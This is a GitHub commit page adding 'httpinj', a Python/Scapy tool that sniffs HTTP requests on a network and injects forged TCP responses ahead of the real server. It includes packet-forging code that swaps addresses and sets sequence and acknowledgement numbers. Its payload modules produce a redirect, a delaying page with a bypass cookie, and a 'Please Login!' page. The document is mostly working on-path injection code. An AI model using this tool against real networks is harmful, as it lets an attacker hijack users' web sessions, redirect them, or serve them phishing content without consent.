Skip to content

Commit f68fe5f

Browse files
committed
httpinj first commit
0 parents  commit f68fe5f

File tree

8 files changed

+225
-0
lines changed

8 files changed

+225
-0
lines changed

.gitignore

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
.idea/
2+
*.iml

httpinj.py

Lines changed: 106 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,106 @@
1+
#!/usr/bin/env python2.7
2+
3+
import argparse
4+
from scapy.all import *
5+
import re
6+
import getopt
7+
import importlib
8+
9+
10+
# callback, called for each sniffed packet
11+
# Determine whether we should inject or not.
12+
def determine_packet(packet):
13+
# print packet[IP].src, packet[IP].dst
14+
15+
try:
16+
packet[TCP][Raw]
17+
except IndexError:
18+
return
19+
else:
20+
21+
if re.search(regex, packet[TCP][Raw].load):
22+
# print 'matched'
23+
if payload_mod.payload.bypass_validate(packet[TCP][Raw].load):
24+
return
25+
inject_packet(packet)
26+
27+
# Given a flagged packet, injects a packet
28+
def inject_packet (flagged_packet):
29+
30+
http_reponse = payload_mod.payload.http_payload()
31+
32+
# Spin up a new packet
33+
to_inject = Ether()/IP()/TCP()/http_reponse
34+
# Assign the packet its necessary values:
35+
#Ether fields: flip the src and dst
36+
to_inject[Ether].src = flagged_packet[Ether].dst
37+
to_inject[Ether].dst = flagged_packet[Ether].src
38+
# IP fields: flip src and dst, and increment ipid by some random amount
39+
to_inject[IP].src = flagged_packet[IP].dst
40+
to_inject[IP].dst = flagged_packet[IP].src
41+
to_inject[IP].id = flagged_packet[IP].id + 112
42+
# TCP fields: flip sport and dport, set ack and seq, set flags
43+
to_inject[TCP].sport = flagged_packet[TCP].dport
44+
to_inject[TCP].dport = flagged_packet[TCP].sport
45+
to_inject[TCP].ack = len(flagged_packet[Raw]) + flagged_packet[TCP].seq
46+
to_inject[TCP].seq = flagged_packet[TCP].ack
47+
to_inject[TCP].flags = "PA"
48+
# Delete ip length and chksum and tcp chksum so Scapy will recalculate them
49+
del to_inject[IP].len
50+
del to_inject[IP].chksum
51+
del to_inject[TCP].chksum
52+
# Send the packet!
53+
sendp(to_inject, verbose=False)
54+
55+
def main(argv):
56+
global interface
57+
global payload_mod
58+
global regex
59+
60+
def printHelp():
61+
print """
62+
(python2.7 |./)httpinj [-i interface] [-r regexp] [-p payload] expression
63+
64+
-i --interface Listen on network device (defaults to eth0).
65+
66+
-r --regex Use regular expression to match the request packets for which a response will be spoofed.
67+
68+
-p --payloadname The payload name
69+
70+
expression is a packet filter.
71+
72+
Defaults will be used for anything not provided.
73+
74+
eg: python httpinj.py -i eth0 -r "GET / HTTP/" -d example "tcp and port 80"
75+
"""
76+
77+
payloadname = 'example'
78+
interface = 'eth0'
79+
regex = r'^GET \/ HTTP\/1\.1'
80+
81+
try:
82+
opts, args = getopt.getopt(argv[1:], 'i:r:p:h', ['interface=', 'regexp=', 'payloadname=', 'help'])
83+
except getopt.GetoptError:
84+
printHelp()
85+
exit(64)
86+
87+
for opt, arg in opts:
88+
if opt in ('-h', '--help'):
89+
printHelp()
90+
exit(0)
91+
elif opt in ('-i', '--interface'):
92+
interface = arg
93+
elif opt in ('-r', '--regexp'):
94+
regex = arg
95+
elif opt in ('-p', '--payloadname'):
96+
payloadname = arg
97+
else:
98+
printHelp()
99+
exit(64)
100+
101+
102+
payload_mod = importlib.import_module("payload." + payloadname)
103+
sniff(iface=interface, filter=' '.join(args), prn=determine_packet)
104+
105+
if __name__ == "__main__":
106+
main(sys.argv)

payload/__init__.py

Whitespace-only changes.

payload/common.py

Lines changed: 20 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,20 @@
1+
class CommonPayload(object):
2+
bypass_name = "httpinj_bp"
3+
bypass_ttl = 10
4+
content = ""
5+
content_length = len(content)
6+
7+
@classmethod
8+
def http_payload(cls):
9+
header = "HTTP/1.1 200 OK\r\nServer: httpinj\r\nConnection: close\r\nContent-length: %s\r\n\r\n" % (cls.content_length)
10+
11+
return header + cls.content
12+
13+
@classmethod
14+
def bypass_generate(cls):
15+
return None
16+
17+
@classmethod
18+
def bypass_validate(cls, raw):
19+
return False
20+

payload/delayer.py

Lines changed: 62 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,62 @@
1+
import time
2+
import zlib
3+
import re
4+
from common import *
5+
6+
7+
class payload(CommonPayload):
8+
load_delay = 5
9+
hash_secret = "change me"
10+
bypass_name = "httpinj_bp"
11+
bypass_ttl = 10
12+
content = """
13+
<html>
14+
<body>
15+
<h1>Loading...</h1>
16+
</body>
17+
</html>
18+
"""
19+
content_length = len(content)
20+
21+
@classmethod
22+
def http_payload(cls):
23+
bypass_value = cls.bypass_generate()
24+
25+
header = "HTTP/1.1 200 OK\r\nServer: httpinj\r\nConnection: close\r\nContent-type: text/html\r\nRefresh: %s\r\nContent-length: %s\r\nSet-Cookie: %s=%s;path=/;Max-Age=%s\r\n\r\n" % (
26+
cls.load_delay, cls.content_length, cls.bypass_name, bypass_value, cls.bypass_ttl)
27+
28+
return header + cls.content
29+
30+
@classmethod
31+
def hash(cls, since, expire):
32+
return str(zlib.crc32((cls.hash_secret + str(since) + str(expire)).encode()) & 0xffffffff)
33+
34+
@classmethod
35+
def bypass_generate(cls):
36+
ts = int(time.time())
37+
time_since = ts + cls.load_delay
38+
time_expire = ts + cls.bypass_ttl
39+
return "%s-%s-%s" % (time_since, time_expire, cls.hash(time_since, time_expire))
40+
41+
@classmethod
42+
def bypass_validate(cls, data):
43+
m = re.search(cls.bypass_name + '=(\d{10})-(\d{10})-(\d{1,10})[;\s]', data)
44+
if m and m.group(1) and m.group(2) and m.group(3):
45+
time_since = m.group(1)
46+
time_expire = m.group(2)
47+
hash = m.group(3)
48+
if cls.hash(time_since, time_expire) == hash:
49+
# print "bypass window: %s~%s" % (time_since, time_expire)
50+
now = time.time()
51+
if int(time_since) <= now < int(time_expire):
52+
# print "bypassed"
53+
return True
54+
else:
55+
# print "%s out of bypass window" % now
56+
return False
57+
58+
else:
59+
# print "bad hash"
60+
return False
61+
else:
62+
return False

payload/example.py

Lines changed: 12 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,12 @@
1+
from common import *
2+
3+
class payload(CommonPayload):
4+
content = """
5+
<html>
6+
<body>
7+
<h1>Example Payload</h1>
8+
</body>
9+
</html>
10+
"""
11+
content_length = len(content)
12+

payload/redirect.py

Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,10 @@
1+
from common import *
2+
3+
class payload(CommonPayload):
4+
5+
@classmethod
6+
def http_payload(cls):
7+
header = "HTTP/1.1 302 Found\r\nServer: httpinj\r\nLocation: http://www.google.com\r\n\r\n"
8+
9+
return header + cls.content
10+

payload_example.py

Lines changed: 13 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,13 @@
1+
# Note: This file is execed.
2+
content = """
3+
<html>
4+
<body>
5+
<h1>Please Login!</h1>
6+
</body>
7+
</html>
8+
"""
9+
header = "HTTP/1.1 200 OK\r\nServer: Undefined\r\nRefresh: 5; url=/?bp={bypass}\r\nConnection: close\r\nCache-Control: public, max-age=0\r\nContent-type: text/html\r\nContent-length: %s\r\n\r\n" % len(content)
10+
http_payload = {
11+
'header': header,
12+
'content': content
13+
}

0 commit comments

Comments
 (0)